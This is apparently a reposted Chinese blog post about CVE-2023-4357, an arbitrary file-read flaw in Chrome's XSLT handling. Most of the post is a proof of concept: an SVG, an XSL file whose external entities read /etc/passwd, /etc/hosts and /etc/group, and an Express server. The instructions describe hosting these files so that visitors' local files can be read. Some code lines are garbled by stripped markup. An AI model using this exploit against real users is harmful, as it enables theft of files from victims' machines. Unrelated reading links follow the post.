• Google Chrome 任意文件读取 (CVE-2023-4357)漏洞


    漏洞描述

    该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chrome,safari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

    影响的版本Google Chrome < 116.0.5845.96

    效果如下:

    Google Chrome下载地址:https://registry.npmmirror.com/binary.html?path=chromedriver/

    根据自己需求下载即可

    这里我们要用到三个文件,将这三个文件传入到自己搭建的web服务文件中即可,也可以是博客网站的文件中,总之是可以用浏览器访问的就好,那我们看那三个文件吧

    test.svg

    1. "1.0" encoding="UTF-8"?>
    2. "text/xsl" href="#"?>
    3. "color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    4. "/">
    5. "1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
    6. "myObj" width="1000" height="1000">
    7. "font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
    8. XSL: value-of select="system-property('xsl:version')"/>
    9. Vendor: value-of select="system-property('xsl:vendor')"/>
    10. Vendor URL: value-of select="system-property('xsl:vendor-url')"/>
    11. document() select="document('test.xsl')"/>
  • text.xsl

    1. "1.0" encoding="UTF-8"?>
    2. "file:///etc/passwd">
    3. "file:///etc/hosts">
    4. group SYSTEM "file://localhost/etc/group">
    5. ]>
    6. "border-style: dotted;">/etc/passwd:

    7. &passwd;
    8. "border-style: dotted;">/etc/hosts:

    9. &hosts;
    10. "border-style: dotted;">/etc/group:

    11. &group;

    server.js

    1. const express = require('express');
    2. const path = require('path');
    3. const app = express();
    4. const port = 3000;
    5. app.get('/test.svg', (req, res) => {
    6. res.sendFile(path.join(__dirname, 'test.svg'));
    7. });
    8. app.get('/test.xsl', (req, res) => {
    9. res.set('Access-Control-Allow-Origin', '*');
    10. res.sendFile(path.join(__dirname, 'test.xsl'));
    11. });
    12. app.listen(port, () => {
    13. console.log(`Example app listening on port ${port}`);
    14. });

    要将这三个文件放到自己搭建的web服务的文件中即可,也可以是博客网站的文件下

    (注意这里的三个文件是linux的版本,也就是说Google Chrome也要是linux版本的才可以用,如果要用windows版本的则需要对这三个文件进行修改,然后下个windows版本的Google Chrome即可)

    而这里要注意的是我们必须要用Google Chrome才能获取到别人的信息

    Google Chrome打开上面的上传的文件,如:http://xxx.xxx.xxx/test.svg

    然后我们就可以看到如下图所示获取到别人的本机的 passwd 文件和 hosts 文件

  • 相关阅读:
    01背包问题的一维数组表示形式
    在hadoop上搭建hive环境
    如何进行小程序关键词优化与长期维护?
    就业季学好3d建模,找对才是赚到
    【剑指Offer】41.数据流中的中位数
    MySQL主从分离读写复制
    互联网发展从红利到实力,行业内卷“升级”
    pandas 排序和排名
    dma epoll kernel thread
    OceanBase 首席科学家阳振坤博士入选2022 年度“CCF王选奖”
  • 原文地址:https://blog.csdn.net/weixin_62693307/article/details/134516008